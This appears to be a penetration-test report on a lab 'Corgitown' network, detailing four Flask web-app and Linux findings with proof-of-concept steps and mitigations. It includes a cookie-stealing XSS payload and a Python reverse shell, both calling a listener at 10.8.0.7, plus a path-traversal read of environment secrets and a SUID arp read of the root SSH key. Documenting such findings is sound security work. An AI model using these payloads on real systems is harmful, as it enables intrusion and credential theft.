Penetration Testing Report
Corgitown IT infrastructure

Confidential Report

May 2025

Contents

1 Introduction

This report details the findings of the penetration test conducted on the target systems of **Corgitown**.
The purpose of the assessment was to identify and evaluate vulnerabilities that could be exploited by a malicious actor.

Three distinct Work packages were created to thoroughly test the main points of interest within the Corgitown IT infrastructure:

- **WP1:** Graybox pentest against the Beautytail.Corgitown.local Active Directory infrastructure
- **WP2:** Blackbox pentest against the Corgitown.local Active Directory infrastructure
- **WP3:** Blackbox pentest against the Linux Server, primarily hosting a Flask-based Web-App and a PostgresSQL Database.

Several critical vulnerabilities were discovered during the engagement. Exploitation of these flaws ultimately led to administrative-level access on all three targets . The findings and methodologies are detailed in the subsequent sections of this report.

2 Scope

The testing covered the following:

- **WP1:** Graybox pentest against the Beautytail.Corgitown.local Active Directory infrastructure.
  - Hosts:
    - srv02:
      - stirlingcastle.beautytail.corgitown.local
      - 192.168.13.22
    - dc02:
      - cardigan.beautytail.corgitown.local
      - 192.168.13.11
  - Host access:
    - RDP: via port 3389/tcp ms-wbt-server Microsoft Terminal Services; No default credentials given
    - SMB: via port 445/tcp microsoft-ds Microsoft Directory Services; No default credentials given
    - RPC: via port 135/tcp msrpc Microsoft Windows RPC; No default credentials given
  - Access credentials:
    - No test user credentials were provided. Access credentials were obtained through initial password spraying and lateral movement.

- **WP2:** Blackbox pentest against the Corgitown.local Active Directory infrastructure
  - Hosts:
    - dc01:
      - welshpembroke.corgitown.local
      - 192.168.13.10
  - Host access:
    - RDP: via port 3389/tcp ms-wbt-server Microsoft Terminal Services; No default credentials given
    - SMB: via port 445/tcp microsoft-ds Microsoft Directory Services; No default credentials given
    - RPC: via port 135/tcp msrpc Microsoft Windows RPC; No default credentials given
  - Access credentials:
    - No test user credentials were provided. The initial access credentials were obtained through reconnaissance in the beautytail.corgitown.local domain as well as through the bilateral domain trust of the two domains. Other access credentials were obtained by lateral movement through the corgitown.local domain.
- **WP3:** Blackbox pentest against the Linux Server hosting various services
  - Hosts:
    - Linux Server:
      - 192.168.13.4
  - Host access:
    - SSH: via port 22/tcp OpenSSH 8.9p1; No default credentials given
    - SSH: via port 2222/tcp OpenSSH 9.6p1; No default credentials given
    - Python Web App: via port 5000/tcp Flask-based Web-App; No default credentials given
    - PostgreSQL Database: via port 5342/tcp PostgreSQL DB; No default credentials given
  - Access credentials:
    - No test user credentials were provided.

3 Overview

During our assessment, we identified several vulnerabilities which, when combined, allowed us to obtain **Domain Admin** privileges on both Active Directory domains and **root** access on the Linux server. The vulnerabilities leading to these privilege escalations are described in detail in the following chapters.

In addition, we discovered several miscellaneous issues that also require attention. Each finding has been thoroughly documented, including a proof-of-concept exploit and recommended mitigation steps.

4 Test Methodology

Testing was carried out using a combination of automated tools and manual techniques. The methodology was as follows:

- **Scanning and Enumeration:**
  Since only limited information about the network was provided, the tests began with a network scan using nmap. This way, all devices on the network and their open ports / available services were enumerated. These ports were then thoroughly scanned for potential information leakage or vulnerabilities. After gaining the initial access, the Windows active directory domains were enumerated using bloodhound, revealing several misconfigurations. More details can be found in **Section 5**.

- **Exploitation:**
  Different vulnerabilities were found and used to gain access to the infrastructure. A detailed description of all the findings can be found in **Section 5**.

- **Reconnaissance:**
  Initially all open ports were examined for possible information leakage. Once access to a host was established, it was thoroughly checked. The files and folders on all four hosts were researched in order to find misconfigured permissions and information leakage. More details can be found in **Section 5** and **Section 6**.

- **Post-Exploitation:**
  After access to the host was obtained, multiple post exploitation techniques were used. These include lateral movement via misconfigured Active Directory permissions, privilege escalation, credential dumping and establishing persistence by adding basic backdoors and obtaining a Golden Ticket for both Active Directory domains. As the scope of this engagement focused on vulnerability discovery, elaborate defense evasion techniques and permanent backdoor installation were intentionally avoided.

5 Identified Vulnerabilities

The following section lists all vulnerabilities identified during the testing period. At the beginning of this section, a brief overview of all discovered vulnerabilities can be found. Each vulnerability has been assigned a unique identifier to facilitate future follow-up correspondence as well as a severity rating ranging from **Low** to **Critical**. Findings

classified as either Critical or High need immediate attention, as they pose a significant threat to the security of Corgitown's infrastructure.

Summary Table

ID	Vulnerability	Severity
IV-01-16	Cross-Site Scripting via username	CRITICAL
IV-01-17	Path-Traversal with Admin Endpoint	HIGH
IV-01-19	Command injection	MEDIUM
IV-01-20	SUID Misconfiguration - Arbitrary File Read	HIGH

IV-01-16 WP3: Cross-Site Scripting via username (CRITICAL)

When registering as a new user on the Web-App (`/http://192.168.13.4:5000`) under the `/register` endpoint, it is possible to input a XSS-Payload inside the username field. This payload can then be sent by logging in as that user and posting and reporting a post. When the admin-bot then views the report and loads the html page, the payload will be executed.

Proof of Concept:

Step 1: Create and login as a user with the username:

```
<script>new Image().src=
'http://10.8.0.7:8001/?cookie='+document.cookie</script>
```

Step 2: Set up a Netcat listener on port 8001, then create and report a post.

```
sudo nc -lvnp 8001
```

Result: We now receive the admin-cookie which can be used to impersonate the admin user:

```
GET /?cookie=session=eyJpc19hZG1pbiI6dHJ1ZSwidXNlcl9pZCI6MX0.aEnIvg.ag-
SoG1kzSBqjhOXuzKt_GbtLvQ HTTP/1.1
```

Mitigation:

To prevent this vulnerability, the `|safe` should be removed in the `admin.html` template from rendering the username. Additionally, stricter validation from user input should be added, so that no HTML, JavaScript, ... can be injected. Also a CSP header could be implemented to prevent the execution of inline scripts. Session cookies can also be set to `HttpOnly` so that cookies can not be accessed.

IV-01-17 WP3: Path-Traversal with Admin Endpoint (HIGH)

With the retrieved admin-cookie it is now possible to access admin endpoints like `/admin/files/*`. These endpoints process user-input insecurely and it is therefor possible to view files which are not in the intended directory scope. Although the `/admin/files/` endpoint tries to implement some input validation, inputs like `/app/../etc` and `%2e%2e/` (URL-encoding of `../` still bypass sanitization.
The routes `/admin/files/view` and `/admin/files/download` do not perform any input sanitation whatsoever, and just take any `path` and `filename` submitted by the user. This makes it trivial to either view or download any files on the system.

Proof of Concept:

Prerequisites: Admin access rights on the Web-App, e.g. through the retrieved web-cookie from IV-01-16

Step 1: Access:
`http://192.168.13.4:5000/admin/files/view/?path=/proc/self&filename=environ`
To view or download any other file just change the respective endpoint or parameter.

Result: Now we can view the environment variables stored in `/proc/self/environ`

Mitigation:

To prevent this path traversal attack, consider enforcing a fixed base directory such as `/app`. Additionally, use functions such as `os.path.realpath()` to check if the resolved input path matches the intended scope. These checks should be added to all endpoints which use user input as file paths. In my opinion, even the intended function of the `/admin/files/*` endpoints poses a potential security risk, as viewing the source code from the Web-App directly makes it easier for bad actors to spot flaws in the source code.

IV-01-19 WP3: Command injection (MEDIUM)

Under the `/admin/service` endpoint is is possible to run system commands via the Web-App. The command (the `action` value) is then run via `os.system()` without any more user input sanitation. To run a command a user not only needs to be logged in as admin (e.g. the retrived admin-cookie IV-01-16), but also needs to provide the admin password (found in environment variables IV-01-18). Because these parameters were exposed through previous vulnerabilities, this command functionality now poses a huge security risk (e.g. by spawning a reverse shell).

Proof of Concept:

Prerequisites: Being logged in as admin and having the admin password.

Step 1: Start a Netcat listener.

```
sudo nc -lvnp 8000
```

Step 2: Send a request on `/admin/service` with the admin password, and the command:

```
python -c 'import socket,subprocess,os;s=socket.socket
(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.0.7",8000));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
subprocess.call(["/bin/bash","-i"])'
```

Result: Through this command inejction we now have sucessfully spawned a reverse shell. The account we now have access to a shell for the user `andy`. While looking at these files a ssh key was discovered which let us to start a ssh-connection to a `localadmin`.

Mitigation:

In general it is never a good idea to directly pass user input to `os.system()`. Instead pass commands to a function like `subprocess.run()` with argument arrays and without `shell=True`. Additionally work out if such a command interface inside the Web-App is even necessary in the first place. If this functionality is currently only used for some specific commands, maybe only implement specific buttons for these commands.

IV-01-20 WP3: SUID Misconfiguration - Arbitrary File Read (HIGH)

After being able to ssh to the `localadmin` through the reverse shell (IV-01-19) we were able to find a SETUID misconfiguration of the arp binary. This was found via enumeration with `linpeas.sh`. The arp binary has SUID root permissions and `(-rwsr-x---)` file permissions. Especially problematic is the flag `s` of `-rws`, because this means the program runs with permissions of the file owner (`root`) even when executed by another user. It is executable by members of the `adm` group, which the compromised user `localadmin` is. When executing the command `/usr/sbin/arp -f -v <filepath>` it is therefor possible to read arbitrary files which should only be accessible by root.

Proof of Concept:

Step 1: SSH to localadmin inside the reverse-shell from andy:

```
ssh -i ./id_ed25519 localadmin@172.25.0.2
```

Step 2: Run the following command:

```
/usr/sbin/arp -f -v /etc/ssh/ssh_host_rsa_key
```

or alternatively add the following to the command to save the ssh key directly to a file:

```
2>&1 |1 grep '^>>' \| sed 's/^>> //' > /tmp/host_rsa_key
```

Result: With this recovered private key is is now possible to ssh directly to the `root` user and therefor gain `root` privileges.

Mitigation:

Remove the `SUID` permission of the `/usr/sbin/arp` binary if the root privileges are not strictly necessary (via `sudo chmod u-s /usr/sbin/arp`).
If this is not possible, ensure that less privileged groups such as `adm` are not able to access `arp`.

IV-01-18 WP3: Stored Credentials in Environment Variables (MEDIUM)

When looking at some system files through the path-traversal vulnerability (IV-01-17), we also looked at `/proc/self/environ`. Inside this file, stored credentials were found, such as the administrator password. This exposes sensitive information in plaintext, which poses a security risk.
The recovered and still working admin password is:
`ADMIN_PW=a852e[REDACTED]`
Another piece sensitive information was the database URL:
`DATABASE_URL=postgresql://forum_user:50cbe[REDACTED]/forum_db`

Mitigation:

Avoid storing sensitive information in plaintext in environment variables, unless it is completly necessary. Instead, use a dedicated secret management solution to insert secrets on runtime.

7 Conclusions

The test revealed a range of vulnerabilities, some of which pose serious risks to the system. It is recommended that remediation actions be prioritized based on the severity and exploitability of each issue.

This report is confidential and intended solely for the authorized personnel of Corgitown.